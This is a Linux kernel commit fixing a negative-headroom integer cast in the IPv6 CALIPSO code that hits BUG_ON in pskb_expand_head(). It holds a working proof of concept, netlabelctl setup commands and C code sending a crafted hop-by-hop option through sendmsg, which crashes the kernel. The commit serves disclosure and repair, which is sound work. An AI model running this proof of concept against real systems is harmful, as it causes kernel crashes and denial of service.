From: Will Rosenberg <whrosenb@asu.edu>
Date: Fri, 19 Dec 2025 17:36:37 +0000 (-0700)
Subject: ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()
X-Git-Url: http://git.ipfire.org/cgi-bin/gitweb.cgi?a=commitdiff_plain;h=58fc7342b529803d3c221101102fe913df7adb83;p=thirdparty%2Flinux.git

ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()

There exists a kernel oops caused by a BUG_ON(nhead < 0) at
net/core/skbuff.c:2232 in pskb_expand_head().
This bug is triggered as part of the calipso_skbuff_setattr()
routine when skb_cow() is passed headroom > INT_MAX
(i.e. (int)(skb_headroom(skb) + len_delta) < 0).

The root cause of the bug is due to an implicit integer cast in
__skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure
that delta = headroom - skb_headroom(skb) is never negative, otherwise
we will trigger a BUG_ON in pskb_expand_head(). However, if
headroom > INT_MAX and delta <= -NET_SKB_PAD, the check passes, delta
becomes negative, and pskb_expand_head() is passed a negative value for
nhead.

Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing
"negative" headroom sizes to skb_cow() within calipso_skbuff_setattr()
by only using skb_cow() to grow headroom.

PoC:
	Using `netlabelctl` tool:

        netlabelctl map del default
        netlabelctl calipso add pass doi:7
        netlabelctl map add default address:0::1/128 protocol:calipso,7

        Then run the following PoC:

        int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);

        // setup msghdr
        int cmsg_size = 2;
        int cmsg_len = 0x60;
        struct msghdr msg;
        struct sockaddr_in6 dest_addr;
        struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,
                        sizeof(struct cmsghdr) + cmsg_len);
        msg.msg_name = &dest_addr;
        msg.msg_namelen = sizeof(dest_addr);
        msg.msg_iov = NULL;
        msg.msg_iovlen = 0;
        msg.msg_control = cmsg;
        msg.msg_controllen = cmsg_len;
        msg.msg_flags = 0;

        // setup sockaddr
        dest_addr.sin6_family = AF_INET6;
        dest_addr.sin6_port = htons(31337);
        dest_addr.sin6_flowinfo = htonl(31337);
        dest_addr.sin6_addr = in6addr_loopback;
        dest_addr.sin6_scope_id = 31337;

        // setup cmsghdr
        cmsg->cmsg_len = cmsg_len;
        cmsg->cmsg_level = IPPROTO_IPV6;
        cmsg->cmsg_type = IPV6_HOPOPTS;
        char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);
        hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80

        sendmsg(fd, &msg, 0);

Fixes: 2917f57b6bc1 ("calipso: Allow the lsm to label the skbuff directly.")
Suggested-by: Paul Moore <paul@paul-moore.com>
Signed-off-by: Will Rosenberg <whrosenb@asu.edu>
Acked-by: Paul Moore <paul@paul-moore.com>
Link: https://patch.msgid.link/20251219173637.797418-1-whrosenb@asu.edu
Signed-off-by: Paolo Abeni <pabeni@redhat.com>
---

diff --git a/net/ipv6/calipso.c b/net/ipv6/calipso.c
index df1986973430..21f6ed126253 100644
--- a/net/ipv6/calipso.c
+++ b/net/ipv6/calipso.c
@@ -1342,7 +1342,8 @@ static int calipso_skbuff_setattr(struct sk_buff *skb,
 	/* At this point new_end aligns to 4n, so (new_end & 4) pads to 8n */
 	pad = ((new_end & 4) + (end & 7)) & 7;
 	len_delta = new_end - (int)end + pad;
-	ret_val = skb_cow(skb, skb_headroom(skb) + len_delta);
+	ret_val = skb_cow(skb,
+			  skb_headroom(skb) + (len_delta > 0 ? len_delta : 0));
 	if (ret_val < 0)
 		return ret_val;